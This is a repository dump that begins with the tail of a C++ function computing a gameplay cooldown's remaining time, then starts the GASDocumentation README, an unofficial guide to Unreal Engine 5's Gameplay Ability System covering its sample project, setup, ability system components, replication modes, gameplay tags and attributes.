FGameplayEffectQuery const Query = FGameplayEffectQuery::MakeQuery_MatchAnyOwningTags(InCooldownTags);
TArray< TPair<float, float> > DurationAndTimeRemaining = ASC->GetActiveEffectsTimeRemainingAndDuration(Query);
if (DurationAndTimeRemaining.Num() > 0)
{
int32 BestIdx = 0;
float LongestTime = DurationAndTimeRemaining[0].Key;
for (int32 Idx = 1; Idx < DurationAndTimeRemaining.Num(); ++Idx)
{
if (DurationAndTimeRemaining[Idx].Key > LongestTime)
{
LongestTime = DurationAndTimeRemaining[Idx].Key;
BestIdx = Idx;
}
}
TimeRemaining = DurationAndTimeRemaining[BestIdx].Key;
CooldownDuration = DurationAndTimeRemaining[BestIdx].Value;
return true;
}
}
return false;
}
<file_sep>/README.md
# GASDocumentation
My understanding of Unreal Engine 5's GameplayAbilitySystem plugin (GAS) with a simple multiplayer sample project. This is not official documentation and neither this project nor myself are affiliated with Epic Games. I make no guarantee for the accuracy of this information.
The goal of this documentation is to explain the major concepts and classes in GAS and provide some additional commentary based on my experience with it. There is a lot of 'tribal knowledge' of GAS among users in the community and I aim to share all of mine here.
The Sample Project and documentation are current with **Unreal Engine 5.2**. There are branches of this documentation for older versions of Unreal Engine, but they are no longer supported and are liable to have bugs or out of date information.
[GASShooter](https://github.com/tranek/GASShooter) is a sister Sample Project demonstrating advanced techniques with GAS for a multiplayer FPS/TPS.
The best documentation will always be the plugin source code.
<a name="table-of-contents"></a>
## Table of Contents
> 1. [Intro to the GameplayAbilitySystem Plugin](#intro)
> 1. [Sample Project](#sp)
> 1. [Setting Up a Project Using GAS](#setup)
> 1. [Concepts](#concepts)
> 4.1 [Ability System Component](#concepts-asc)
> 4.1.1 [Replication Mode](#concepts-asc-rm)
> 4.1.2 [Setup and Initialization](#concepts-asc-setup)
> 4.2 [Gameplay Tags](#concepts-gt)
> 4.2.1 [Responding to Changes in Gameplay Tags](#concepts-gt-change)
> 4.3 [Attributes](#concepts-a)
> 4.3.1 [Attribute Definition](#concepts-a-definition)
> 4.3.2 [BaseValue vs CurrentValue](#concepts-a-value)
> 4.3.3 [Meta Attributes](#concepts-a-meta)
> 4.3.4 [Responding to Attribute Changes](#concepts-a-changes)
> 4.3.5 [Derived Attributes](#concepts-a-derived)
> 4.4 [Attribute Set](#concepts-as)
> 4.4.1 [Attribute Set Definition](#concepts-as-definition)
> 4.4.2 [Attribute Set Design](#concepts-as-design)
> 4.4.2.1 [Subcomponents with Individual Attributes](#concepts-as-design-subcomponents)
> 4.4.2.2 [Adding and Removing AttributeSets at Runtime](#concepts-as-design-addremoveruntime)
> 4.4.2.3 [Item Attributes (Weapon Ammo)](#concepts-as-design-itemattributes)
> 4.4.2.3.1 [Plain Floats on the Item](#concepts-as-design-itemattributes-plainfloats)
> 4.4.2.3.2 [`AttributeSet` on the Item](#concepts-as-design-itemattributes-attributeset)
> 4.4.2.3.3 [`ASC` on the Item](#concepts-as-design-itemattributes-asc)
> 4.4.3 [Defining Attributes](#concepts-as-attributes)
> 4.4.4 [Initializing Attributes](#concepts-as-init)
> 4.4.5 [PreAttributeChange()](#concepts-as-preattributechange)
> 4.4.6 [PostGameplayEffectExecute()](#concepts-as-postgameplayeffectexecute)
> 4.4.7 [OnAttributeAggregatorCreated()](#concepts-as-onattributeaggregatorcreated)
> 4.5 [Gameplay Effects](#concepts-ge)
> 4.5.1 [Gameplay Effect Definition](#concepts-ge-definition)
> 4.5.2 [Applying Gameplay Effects](#concepts-ge-applying)
> 4.5.3 [Removing Gameplay Effects](#concepts-ga-removing)
> 4.5.4 [Gameplay Effect Modifiers](#concepts-ge-mods)
> 4.5.4.1 [Multiply and Divide Modifiers](#concepts-ge-mods-multiplydivide)
> 4.5.4.2 [Gameplay Tags on Modifiers](#concepts-ge-mods-gameplaytags)
> 4.5.5 [Stacking Gameplay Effects](#concepts-ge-stacking)
> 4.5.6 [Granted Abilities](#concepts-ge-ga)
> 4.5.7 [Gameplay Effect Tags](#concepts-ge-tags)
> 4.5.8 [Immunity](#concepts-ge-immunity)
> 4.5.9 [Gameplay Effect Spec](#concepts-ge-spec)
> 4.5.9.1 [SetByCallers](#concepts-ge-spec-setbycaller)
> 4.5.10 [Gameplay Effect Context](#concepts-ge-context)
> 4.5.11 [Modifier Magnitude Calculation](#concepts-ge-mmc)
> 4.5.12 [Gameplay Effect Execution Calculation](#concepts-ge-ec)
> 4.5.12.1 [Sending Data to Execution Calculations](#concepts-ge-ec-senddata)
> 4.5.12.1.1 [SetByCaller](#concepts-ge-ec-senddata-setbycaller)
> 4.5.12.1.2 [Backing Data Attribute Calculation Modifier](#concepts-ge-ec-senddata-backingdataattribute)
> 4.5.12.1.3 [Backing Data Temporary Variable Calculation Modifier](#concepts-ge-ec-senddata-backingdatatempvariable)
> 4.5.12.1.4 [Gameplay Effect Context](#concepts-ge-ec-senddata-effectcontext)
> 4.5.13 [Custom Application Requirement](#concepts-ge-car)
> 4.5.14 [Cost Gameplay Effect](#concepts-ge-cost)
> 4.5.15 [Cooldown Gameplay Effect](#concepts-ge-cooldown)
> 4.5.15.1 [Get the Cooldown Gameplay Effect's Remaining Time](#concepts-ge-cooldown-tr)
> 4.5.15.2 [Listening for Cooldown Begin and End](#concepts-ge-cooldown-listen)
> 4.5.15.3 [Predicting Cooldowns](#concepts-ge-cooldown-prediction)
> 4.5.16 [Changing Active Gameplay Effect Duration](#concepts-ge-duration)
> 4.5.17 [Creating Dynamic Gameplay Effects at Runtime](#concepts-ge-dynamic)
> 4.5.18 [Gameplay Effect Containers](#concepts-ge-containers)
> 4.6 [Gameplay Abilities](#concepts-ga)
> 4.6.1 [Gameplay Ability Definition](#concepts-ga-definition)
> 4.6.1.1 [Replication Policy](#concepts-ga-definition-reppolicy)
> 4.6.1.2 [Server Respects Remote Ability Cancellation](#concepts-ga-definition-remotecancel)
> 4.6.1.3 [Replicate Input Directly](#concepts-ga-definition-repinputdirectly)
> 4.6.2 [Binding Input to the ASC](#concepts-ga-input)
> 4.6.2.1 [Binding to Input without Activating Abilities](#concepts-ga-input-noactivate)
> 4.6.3 [Granting Abilities](#concepts-ga-granting)
> 4.6.4 [Activating Abilities](#concepts-ga-activating)
> 4.6.4.1 [Passive Abilities](#concepts-ga-activating-passive)
> 4.6.4.2 [Activation Failed Tags](#concepts-ga-activating-failedtags)
> 4.6.5 [Canceling Abilities](#concepts-ga-cancelabilities)
> 4.6.6 [Getting Active Abilities](#concepts-ga-definition-activeability)
> 4.6.7 [Instancing Policy](#concepts-ga-instancing)
> 4.6.8 [Net Execution Policy](#concepts-ga-net)
> 4.6.9 [Ability Tags](#concepts-ga-tags)
> 4.6.10 [Gameplay Ability Spec](#concepts-ga-spec)
> 4.6.11 [Passing Data to Abilities](#concepts-ga-data)
> 4.6.12 [Ability Cost and Cooldown](#concepts-ga-commit)
> 4.6.13 [Leveling Up Abilities](#concepts-ga-leveling)
> 4.6.14 [Ability Sets](#concepts-ga-sets)
> 4.6.15 [Ability Batching](#concepts-ga-batching)
> 4.6.16 [Net Security Policy](#concepts-ga-netsecuritypolicy)
> 4.7 [Ability Tasks](#concepts-at)
> 4.7.1 [Ability Task Definition](#concepts-at-definition)
> 4.7.2 [Custom Ability Tasks](#concepts-at-definition)
> 4.7.3 [Using Ability Tasks](#concepts-at-using)
> 4.7.4 [Root Motion Source Ability Tasks](#concepts-at-rms)
> 4.8 [Gameplay Cues](#concepts-gc)
> 4.8.1 [Gameplay Cue Definition](#concepts-gc-definition)
> 4.8.2 [Triggering Gameplay Cues](#concepts-gc-trigger)
> 4.8.3 [Local Gameplay Cues](#concepts-gc-local)
> 4.8.4 [Gameplay Cue Parameters](#concepts-gc-parameters)
> 4.8.5 [Gameplay Cue Manager](#concepts-gc-manager)
> 4.8.6 [Prevent Gameplay Cues from Firing](#concepts-gc-prevention)
> 4.8.7 [Gameplay Cue Batching](#concepts-gc-batching)
> 4.8.7.1 [Manual RPC](#concepts-gc-batching-manualrpc)
> 4.8.7.2 [Multiple GCs on one GE](#concepts-gc-batching-gcsonge)
> 4.8.8 [Gameplay Cue Events](#concepts-gc-events)
> 4.8.9 [Gameplay Cue Reliability](#concepts-gc-reliability)
> 4.9 [Ability System Globals](#concepts-asg)
> 4.9.1 [InitGlobalData()](#concepts-asg-initglobaldata)
> 4.10 [Prediction](#concepts-p)
> 4.10.1 [Prediction Key](#concepts-p-key)
> 4.10.2 [Creating New Prediction Windows in Abilities](#concepts-p-windows)
> 4.10.3 [Predictively Spawning Actors](#concepts-p-spawn)
> 4.10.4 [Future of Prediction in GAS](#concepts-p-future)
> 4.10.5 [Network Prediction Plugin](#concepts-p-npp)
> 4.11 [Targeting](#concepts-targeting)
> 4.11.1 [Target Data](#concepts-targeting-data)
> 4.11.2 [Target Actors](#concepts-targeting-actors)
> 4.11.3 [Target Data Filters](#concepts-target-data-filters)
> 4.11.4 [Gameplay Ability World Reticles](#concepts-targeting-reticles)
> 4.11.5 [Gameplay Effect Containers Targeting](#concepts-targeting-containers)
> 1. [Commonly Implemented Abilities and Effects](#cae)
> 5.1 [Stun](#cae-stun)
> 5.2 [Sprint](#cae-sprint)
> 5.3 [Aim Down Sights](#cae-ads)
> 5.4 [Lifesteal](#cae-ls)
> 5.5 [Generating a Random Number on Client and Server](#cae-random)
> 5.6 [Critical Hits](#cae-crit)
> 5.7 [Non-Stacking Gameplay Effects but Only the Greatest Magnitude Actually Affects the Target](#cae-nonstackingge)
> 5.8 [Generate Target Data While Game is Paused](#cae-paused)
> 5.9 [One Button Interaction System](#cae-onebuttoninteractionsystem)
> 1. [Debugging GAS](#debugging)
> 6.1 [showdebug abilitysystem](#debugging-sd)
> 6.2 [Gameplay Debugger](#debugging-gd)
> 6.3 [GAS Logging](#debugging-log)
> 1. [Optimizations](#optimizations)
> 7.1 [Ability Batching](#optimizations-abilitybatching)
> 7.2 [Gameplay Cue Batching](#optimizations-gameplaycuebatching)
> 7.3 [AbilitySystemComponent Replication Mode](#optimizations-ascreplicationmode)
> 7.4 [Attribute Proxy Replication](#optimizations-attributeproxyreplication)
> 7.5 [ASC Lazy Loading](#optimizations-asclazyloading)
> 1. [Quality of Life Suggestions](#qol)
> 8.1 [Gameplay Effect Containers](#qol-gameplayeffectcontainers)
> 8.2 [Blueprint AsyncTasks to Bind to ASC Delegates](#qol-asynctasksascdelegates)
> 1. [Troubleshooting](#troubleshooting)
> 9.1 [`LogAbilitySystem: Warning: Can't activate LocalOnly or LocalPredicted ability %s when not local!`](#troubleshooting-notlocal)
> 9.2 [`ScriptStructCache` errors](#troubleshooting-scriptstructcache)
> 9.3 [Animation Montages are not replicating to clients](#troubleshooting-replicatinganimmontages)
> 9.4 [Duplicating Blueprint Actors is setting AttributeSets to nullptr](#troubleshooting-duplicatingblueprintactors)
> 9.5 [unresolved external symbol UEPushModelPrivate::MarkPropertyDirty(int,int)](#troubleshooting-unresolvedexternalsymbolmarkpropertydirty)
> 9.6 [Enum names are now represented by path name](#troubleshooting-enumnamesarenowpathnames)
> 1. [Common GAS Acronyms](#acronyms)
> 1. [Other Resources](#resources)
> 11.1 [Q&A With Epic Game's Dave Ratti](#resources-daveratti)
> 11.1.1 [Community Questions 1](#resources-daveratti-community1)
> 11.1.2 [Community Questions 2](#resources-daveratti-community2)
> 1. [GAS Changelog](#changelog)
> * [5.2](#changelog-5.2)
> * [5.1](#changelog-5.1)
> * [5.0](#changelog-5.0)
> * [4.27](#changelog-4.27)
> * [4.26](#changelog-4.26)
> * [4.25.1](#changelog-4.25.1)
> * [4.25](#changelog-4.25)
> * [4.24](#changelog-4.24)
<a name="intro"></a>
## 1. Intro to the GameplayAbilitySystem Plugin
From the [Official Documentation](https://docs.unrealengine.com/en-US/Gameplay/GameplayAbilitySystem/index.html):
>The Gameplay Ability System is a highly-flexible framework for building abilities and attributes of the type you might find in an RPG or MOBA title. You can build actions or passive abilities for the characters in your games to use, status effects that can build up or wear down various attributes as a result of these actions, implement "cooldown" timers or resource costs to regulate the usage of these actions, change the level of the ability and its effects at each level, activate particle or sound effects, and more. Put simply, this system can help you to design, implement, and efficiently network in-game abilities as simple as jumping or as complex as your favorite character's ability set in any modern RPG or MOBA title.
The GameplayAbilitySystem plugin is developed by Epic Games and comes with Unreal Engine 5 (UE5). It has been battle tested in AAA commercial games such as Paragon and Fortnite among others.
The plugin provides an out-of-the-box solution in single and multiplayer games for:
* Implementing level-based character abilities or skills with optional costs and cooldowns ([GameplayAbilities](#concepts-ga))
* Manipulating numerical `Attributes` belonging to actors ([Attributes](#concepts-a))
* Applying status effects to actors ([GameplayEffects](#concepts-ge))
* Applying `GameplayTags` to actors ([GameplayTags](#concepts-gt))
* Spawning visual or sound effects ([GameplayCues](#concepts-gc))
* Replication of everything mentioned above
In multiplayer games, GAS provides support for [client-side prediction](#concepts-p) of:
* Ability activation
* Playing animation montages
* Changes to `Attributes`
* Applying `GameplayTags`
* Spawning `GameplayCues`
* Movement via `RootMotionSource` functions connected to the `CharacterMovementComponent`.
**GAS must be set up in C++**, but `GameplayAbilities` and `GameplayEffects` can be created in Blueprint by the designers.
Current issues with GAS:
* `GameplayEffect` latency reconciliation (can't predict ability cooldowns resulting in players with higher latencies having lower rate of fire for low cooldown abilities compared to players with lower latencies).
* Cannot predict the removal of `GameplayEffects`. We can however predict adding `GameplayEffects` with the inverse effects, effectively removing them. This is not always appropriate or feasible and still remains an issue.
* Lack of boilerplate templates, multiplayer examples, and documentation. Hopefully this helps with that!
**[⬆ Back to Top](#table-of-contents)**
<a name="sp"></a>
## 2. Sample Project
A multiplayer third person shooter sample project is included with this documentation aimed at people new to the GameplayAbilitySystem Plugin but not new to Unreal Engine 5. Users are expected to know C++, Blueprints, UMG, Replication, and other intermediate topics in UE5. This project provides an example of how to set up a basic third person shooter multiplayer-ready project with the `AbilitySystemComponent` (`ASC`) on the `PlayerState` class for player/AI controlled heroes and the `ASC` on the `Character` class for AI controlled minions.
The goal is to keep this project simple while showing the GAS basics and demonstrating some commonly requested abilities with well-commented code. Because of its beginner focus, the project does not show advanced topics like [predicting projectiles](#concepts-p-spawn).
Concepts demonstrated:
* `ASC` on `PlayerState` vs `Character`
* Replicated `Attributes`
* Replicated animation montages
* `GameplayTags`
* Applying and removing `GameplayEffects` inside of and externally from `GameplayAbilities`
* Applying damage mitigated by armor to change health of a character
* `GameplayEffectExecutionCalculations`
* Stun effect
* Death and respawn
* Spawning actors (projectiles) from an ability on the server
* Predictively changing the local player's speed with aim down sights and sprinting
* Constantly draining stamina to sprint
* Using mana to cast abilities
* Passive abilities
* Stacking `GameplayEffects`
* Targeting actors
* `GameplayAbilities` created in Blueprint
* `GameplayAbilities` created in C++
* Instanced per `Actor` `GameplayAbilities`
* Non-Instanced `GameplayAbilities` (Jump)
* Static `GameplayCues` (FireGun projectile impact particle effect)
* Actor `GameplayCues` (Sprint and Stun particle effects)
The hero class has the following abilities:
| Ability | Input Bind | Predicted | C++ / Blueprint | Description |
| -------------------------- | ------------------- | ---------- | --------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| Jump | Space Bar | Yes | C++ | Makes the hero jump. |
| Gun | Left Mouse Button | No | C++ | Fires a projectile from the hero's gun. The animation is predicted but the projectile is not. |
| Aim Down Sights | Right Mouse Button | Yes | Blueprint | While the button is held, the hero will walk slower and the camera will zoom in to allow more precise shots with the gun. |
| Sprint | Left Shift | Yes | Blueprint | While the button is held, the hero will run faster draining stamina. |
| Forward Dash | Q | Yes | Blueprint | The hero dashes forward at the cost of stamina. |
| Passive Armor Stacks | Passive | No | Blueprint | Every 4 seconds the hero gains a stack of armor up to a maximum of 4 stacks. Receiving damage removes one stack of armor. |
| Meteor | R | No | Blueprint | Player targets a location to drop a meteor on the enemies causing damage and stunning them. The targeting is predicted while spawning the meteor is not. |
It does not matter if `GameplayAbilities` are created in C++ or Blueprint. A mixture of the two were used here for example of how to do them in each language.
Minions do not come with any predefined `GameplayAbilities`. The Red Minions have more health regen while the Blue Minions have higher starting health.
For `GameplayAbility` naming, I used the suffix `_BP` to denote the `GameplayAbility's` logic was created in Blueprint. The lack of suffix means the logic was created in C++.
**Blueprint Asset Naming Prefixes**
| Prefix | Asset Type |
| ----------- | ------------------- |
| GA_ | GameplayAbility |
| GC_ | GameplayCue |
| GE_ | GameplayEffect |
**[⬆ Back to Top](#table-of-contents)**
<a name="setup"></a>
## 3. Setting Up a Project Using GAS
Basic steps to set up a project using GAS:
1. Enable GameplayAbilitySystem plugin in the Editor
1. Edit `YourProjectName.Build.cs` to add `"GameplayAbilities", "GameplayTags", "GameplayTasks"` to your `PrivateDependencyModuleNames`
1. Refresh/Regenerate your Visual Studio project files
1. Starting with 4.24, it is now mandatory to call `UAbilitySystemGlobals::Get().InitGlobalData()` to use [`TargetData`](#concepts-targeting-data). The Sample Project does this in `UAssetManager::StartInitialLoading()`. See [`InitGlobalData()`](#concepts-asg-initglobaldata) for more information.
That's all that you have to do to enable GAS. From here, add an [`ASC`](#concepts-asc) and [`AttributeSet`](#concepts-as) to your `Character` or `PlayerState` and start making [`GameplayAbilities`](#concepts-ga) and [`GameplayEffects`](#concepts-ge)!
**[⬆ Back to Top](#table-of-contents)**
<a name="concepts"></a>
## 4. GAS Concepts
#### Sections
> 4.1 [Ability System Component](#concepts-asc)
> 4.2 [Gameplay Tags](#concepts-gt)
> 4.3 [Attributes](#concepts-a)
> 4.4 [Attribute Set](#concepts-as)
> 4.5 [Gameplay Effects](#concepts-ge)
> 4.6 [Gameplay Abilities](#concepts-ga)
> 4.7 [Ability Tasks](#concepts-at)
> 4.8 [Gameplay Cues](#concepts-gc)
> 4.9 [Ability System Globals](#concepts-asg)
> 4.10 [Prediction](#concepts-p)
<a name="concepts-asc"></a>
### 4.1 Ability System Component
The `AbilitySystemComponent` (`ASC`) is the heart of GAS. It's a `UActorComponent` ([`UAbilitySystemComponent`](https://docs.unrealengine.com/en-US/API/Plugins/GameplayAbilities/UAbilitySystemComponent/index.html)) that handles all interactions with the system. Any `Actor` that wishes to use [`GameplayAbilities`](#concepts-ga), have [`Attributes`](#concepts-a), or receive [`GameplayEffects`](#concepts-ge) must have one `ASC` attached to them. These objects all live inside of and are managed and replicated by (with the exception of `Attributes` which are replicated by their [`AttributeSet`](#concepts-as)) the `ASC`. Developers are expected but not required to subclass this.
The `Actor` with the `ASC` attached to it is referred to as the `OwnerActor` of the `ASC`. The physical representation `Actor` of the `ASC` is called the `AvatarActor`. The `OwnerActor` and the `AvatarActor` can be the same `Actor` as in the case of a simple AI minion in a MOBA game. They can also be different `Actors` as in the case of a player controlled hero in a MOBA game where the `OwnerActor` is the `PlayerState` and the `AvatarActor` is the hero's `Character` class. Most `Actors` will have the `ASC` on themselves. If your `Actor` will respawn and need persistence of `Attributes` or `GameplayEffects` between spawns (like a hero in a MOBA), then the ideal location for the `ASC` is on the `PlayerState`.
**Note:** If your `ASC` is on your `PlayerState`, then you will need to increase the `NetUpdateFrequency` of your `PlayerState`. It defaults to a very low value on the `PlayerState` and can cause delays or perceived lag before changes to things like `Attributes` and `GameplayTags` happen on the clients. Be sure to enable [`Adaptive Network Update Frequency`](https://docs.unrealengine.com/en-US/Gameplay/Networking/Actors/Properties/index.html#adaptivenetworkupdatefrequency), Fortnite uses it.
Both, the `OwnerActor` and the `AvatarActor` if different `Actors`, should implement the `IAbilitySystemInterface`. This interface has one function that must be overriden, `UAbilitySystemComponent* GetAbilitySystemComponent() const`, which returns a pointer to its `ASC`. `ASCs` interact with each other internally to the system by looking for this interface function.
The `ASC` holds its current active `GameplayEffects` in `FActiveGameplayEffectsContainer ActiveGameplayEffects`.
The `ASC` holds its granted `Gameplay Abilities` in `FGameplayAbilitySpecContainer ActivatableAbilities`. Any time that you plan to iterate over `ActivatableAbilities.Items`, be sure to add `ABILITYLIST_SCOPE_LOCK();` above your loop to lock the list from changing (due to removing an ability). Every `ABILITYLIST_SCOPE_LOCK();` in scope increments `AbilityScopeLockCount` and then decrements when it falls out of scope. Do not try to remove an ability inside the scope of `ABILITYLIST_SCOPE_LOCK();` (the clear ability functions check `AbilityScopeLockCount` internally to prevent removing abilities if the list is locked).
<a name="concepts-asc-rm"></a>
### 4.1.1 Replication Mode
The `ASC` defines three different replication modes for replicating `GameplayEffects`, `GameplayTags`, and `GameplayCues` - `Full`, `Mixed`, and `Minimal`. `Attributes` are replicated by their `AttributeSet`.
| Replication Mode | When to Use | Description |
| ------------------ | --------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------ |
| `Full` | Single Player | Every `GameplayEffect` is replicated to every client. |
| `Mixed` | Multiplayer, player controlled `Actors` | `GameplayEffects` are only replicated to the owning client. Only `GameplayTags` and `GameplayCues` are replicated to everyone. |
| `Minimal` | Multiplayer, AI controlled `Actors` | `GameplayEffects` are never replicated to anyone. Only `GameplayTags` and `GameplayCues` are replicated to everyone. |
**Note:** `Mixed` replication mode expects the `OwnerActor's` `Owner` to be the `Controller`. `PlayerState's` `Owner` is the `Controller` by default but `Character's` is not. If using `Mixed` replication mode with the `OwnerActor` not the `PlayerState`, then you need to call `SetOwner()` on the `OwnerActor` with a valid `Controller`.
Starting with 4.24, `PossessedBy()` now sets the owner of the `Pawn` to the new `Controller`.
**[⬆ Back to Top](#table-of-contents)**
<a name="concepts-asc-setup"></a>
### 4.1.2 Setup and Initialization
`ASCs` are typically constructed in the `OwnerActor's` constructor and explicitly marked replicated. **This must be done in C++**.
```c++
AGDPlayerState::AGDPlayerState()
{
// Create ability system component, and set it to be explicitly replicated
AbilitySystemComponent = CreateDefaultSubobject<UGDAbilitySystemComponent>(TEXT("AbilitySystemComponent"));
AbilitySystemComponent->SetIsReplicated(true);
//...
}
```
The `ASC` needs to be initialized with its `OwnerActor` and `AvatarActor` on both the server and the client. You want to initialize after the `Pawn's` `Controller` has been set (after possession). Single player games only need to worry about the server path.
For player controlled characters where the `ASC` lives on the `Pawn`, I typically initialize on the server in the `Pawn's` `PossessedBy()` function and initialize on the client in the `PlayerController's` `AcknowledgePossession()` function.
```c++
void APACharacterBase::PossessedBy(AController * NewController)
{
Super::PossessedBy(NewController);
if (AbilitySystemComponent)
{
AbilitySystemComponent->InitAbilityActorInfo(this, this);
}
// ASC MixedMode replication requires that the ASC Owner's Owner be the Controller.
SetOwner(NewController);
}
```
```c++
void APAPlayerControllerBase::AcknowledgePossession(APawn* P)
{
Super::AcknowledgePossession(P);
APACharacterBase* CharacterBase = Cast<APACharacterBase>(P);
if (CharacterBase)
{
CharacterBase->GetAbilitySystemComponent()->InitAbilityActorInfo(CharacterBase, CharacterBase);
}
//...
}
```
For player controlled characters where the `ASC` lives on the `PlayerState`, I typically initialize the server in the `Pawn's` `PossessedBy()` function and initialize on the client in the `Pawn's` `OnRep_PlayerState()` function. This ensures that the `PlayerState` exists on the client.
```c++
// Server only
void AGDHeroCharacter::PossessedBy(AController * NewController)
{
Super::PossessedBy(NewController);
AGDPlayerState* PS = GetPlayerState<AGDPlayerState>();
if (PS)
{
// Set the ASC on the Server. Clients do this in OnRep_PlayerState()
AbilitySystemComponent = Cast<UGDAbilitySystemComponent>(PS->GetAbilitySystemComponent());
// AI won't have PlayerControllers so we can init again here just to be sure. No harm in initing twice for heroes that have PlayerControllers.
PS->GetAbilitySystemComponent()->InitAbilityActorInfo(PS, this);
}
//...
}
```
```c++
// Client only
void AGDHeroCharacter::OnRep_PlayerState()
{
Super::OnRep_PlayerState();
AGDPlayerState* PS = GetPlayerState<AGDPlayerState>();
if (PS)
{
// Set the ASC for clients. Server does this in PossessedBy.
AbilitySystemComponent = Cast<UGDAbilitySystemComponent>(PS->GetAbilitySystemComponent());
// Init ASC Actor Info for clients. Server will init its ASC when it possesses a new Actor.
AbilitySystemComponent->InitAbilityActorInfo(PS, this);
}
// ...
}
```
If you get the error message `LogAbilitySystem: Warning: Can't activate LocalOnly or LocalPredicted ability %s when not local!` then you did not initialize your `ASC` on the client.
**[⬆ Back to Top](#table-of-contents)**
<a name="concepts-gt"></a>
### 4.2 Gameplay Tags
[`FGameplayTags`](https://docs.unrealengine.com/en-US/API/Runtime/GameplayTags/FGameplayTag/index.html) are hierarchical names in the form of `Parent.Child.Grandchild...` that are registered with the `GameplayTagManager`. These tags are incredibly useful for classifying and describing the state of an object. For example, if a character is stunned, we could give it a `State.Debuff.Stun` `GameplayTag` for the duration of the stun.
You will find yourself replacing things that you used to handle with booleans or enums with `GameplayTags` and doing boolean logic on whether or not objects have certain `GameplayTags`.
When giving tags to an object, we typically add them to its `ASC` if it has one so that GAS can interact with them. `UAbilitySystemComponent` implements the `IGameplayTagAssetInterface` giving functions to access its owned `GameplayTags`.
Multiple `GameplayTags` can be stored in an `FGameplayTagContainer`. It is preferable to use a `GameplayTagContainer` over a `TArray<FGameplayTag>` since the `GameplayTagContainers` add some efficiency magic. While tags are standard `FNames`, they can be efficiently packed together in `FGameplayTagContainers` for replication if `Fast Replication` is enabled in the project settings. `Fast Replication` requires that the server and the clients have the same list of `GameplayTags`. This generally shouldn't be a problem so you should enable this option. `GameplayTagContainers` can also return a `TArray<FGameplayTag>` for iteration.
`GameplayTags` stored in `FGameplayTagCountContainer` have a `TagMap` that stores the number of instances of that `GameplayTag`. A `FGameplayTagCountContainer` may still have the `GameplayTag` in it but its `TagMapCount` is zero. You may encounter this while debugging if an `ASC` still has a `GameplayTag`. Any of the `HasTag()` or `HasMatchingTag()` or similar functions will check the `TagMapCount` and return false if the `GameplayTag` is not present or its `TagMapCount` is zero.
`GameplayTags` must be defined ahead of time in the `DefaultGameplayTags.ini`. The UE5 Editor provides an interface in the project settings to let developers manage `GameplayTags` without needing to manually edit the `DefaultGameplayTags.ini`. The `GameplayTag` editor can create, rename, search for references, and delete `GameplayTags`.

Searching for `GameplayTag` references will bring up the familiar `Reference Viewer` graph in the Editor showing all the assets that reference the `GameplayTag`. This will not however show any C++ classes that reference the `GameplayTag`.
Renaming `GameplayTags` creates a redirect so that assets still referencing the original `GameplayTag` can redirect to the new `GameplayTag`. I prefer if possible to instead create a new `GameplayTag`, update all the references manually to the new `GameplayTag`, and then delete the old `GameplayTag` to avoid creating a redirect.
In addition to `Fast Replication`, the `GameplayTag` editor has an option to fill in commonly replicated `GameplayTags` to optimize them further.
`GameplayTags` are replicated if they're added from a `GameplayEffect`. The `ASC` allows you to add `LooseGameplayTags` that are not replicated and must be managed manually. The Sample Project uses a `LooseGameplayTag` for `State.Dead` so that the owning clients can immediately respond to when their health drops to zero. Respawning manually sets the `TagMapCount` back to zero. Only manually adjust the `TagMapCount` when working with `LooseGameplayTags`. It is preferable to use the `UAbilitySystemComponent::AddLooseGameplayTag()` and `UAbilitySystemComponent::RemoveLooseGameplayTag()` functions than manually adjusting the `TagMapCount`.
Getting a reference to a `GameplayTag` in C++:
```c++
FGameplayTag::RequestGameplayTag(FName("Your.GameplayTag.Name"))
```
For advanced `GameplayTag` manipulation like getting the parent or children `GameplayTags`, look at the functions offered by the `GameplayTagManager`. To access the `GameplayTagManager`, include `GameplayTagManager.h` and call it with `UGameplayTagManager::Get().FunctionName`. The `GameplayTagManager` actually stores the `GameplayTags` as relational nodes (parent, child, etc) for faster processing than constant string manipulation and comparisons.
`GameplayTags` and `GameplayTagContainers` can have the optional `UPROPERTY` specifier `Meta = (Categories = "GameplayCue")` that filters the tags in the Blueprint to show only `GameplayTags` that have the parent tag of `GameplayCue`. This is useful when you know the `GameplayTag` or `GameplayTagContainer` variable should only be used for `GameplayCues`.
Alternatively, there's a separate structure called `FGameplayCueTag` that encapsulates a `FGameplayTag` and also automatically filters `GameplayTags` in Blueprint to only show those tags with the parent tag of `GameplayCue`.
If you want to filter a `GameplayTag` parameter in a function, use the `UFUNCTION` specifier `Meta = (GameplayTagFilter = "GameplayCue")`. `GameplayTagContainer` parameters in functions can not be filtered. If you would like to edit your engine to allow this, look at how `SGameplayTagGraphPin::ParseDefaultValueData()` from `Engine\Plugins\Editor\GameplayTagsEditor\Source\GameplayTagsEditor\Private\SGameplayTagGraphPin.cpp` calls `FilterString = UGameplayTagsManager::Get().GetCategoriesMetaFromField(PinStructType);` and passes `FilterString` to `SGameplayTagWidget` in `SGameplayTagGraphPin::GetListContent()`. The `GameplayTagContainer` version of these functions in `Engine\Plugins\Editor\GameplayTagsEditor\Source\GameplayTagsEditor\Private\SGameplayTagContainerGraphPin.cpp` do not check for the meta field properties and pass along the filter.
The Sample Project extensively uses `GameplayTags`.
**[⬆ Back to Top](#table-of-contents)**
<a name="concepts-gt-change"></a>
### 4.2.1 Responding to Changes in Gameplay Tags
The `ASC` provides a delegate for when `GameplayTags` are added or removed. It takes in a `EGameplayTagEventType` that can specify only to fire when the `GameplayTag` is added/removed or for any change in the `GameplayTag's` `TagMapCount`.
```c++
AbilitySystemComponent->RegisterGameplayTagEvent(FGameplayTag::RequestGameplayTag(FName("State.Debuff.Stun")), EGameplayTagEventType::NewOrRemoved).AddUObject(this, &AGDPlayerState::StunTagChanged);
```
The callback function has a parameter for the `GameplayTag` and the new `TagCount`.
```c++
virtual void StunTagChanged(const FGameplayTag CallbackTag, int32 NewCount);
```
**[⬆ Back to Top](#table-of-contents)**
<a name="concepts-a"></a>
### 4.3 Attributes
<a name="concepts-a-definition"></a>
#### 4.3.1 Attribute Definition
`Attributes` are float values defined by the struct [`FGameplayAttributeData`](https://docs.unrealengine.com/en-US/API/Plugins/GameplayAbilities/FGameplayAttributeData/index.html). These can represent anything from the amount of health a character has to the character's level to the number of charges that a potion has. If it is a gameplay-related numerical value belonging to an `Actor`, you should consider using an `Attribute` for it. `Attributes` should generally only be modified by [`GameplayEffects`](#concepts-ge) so that the ASC can [predict](#concepts-p) the changes.
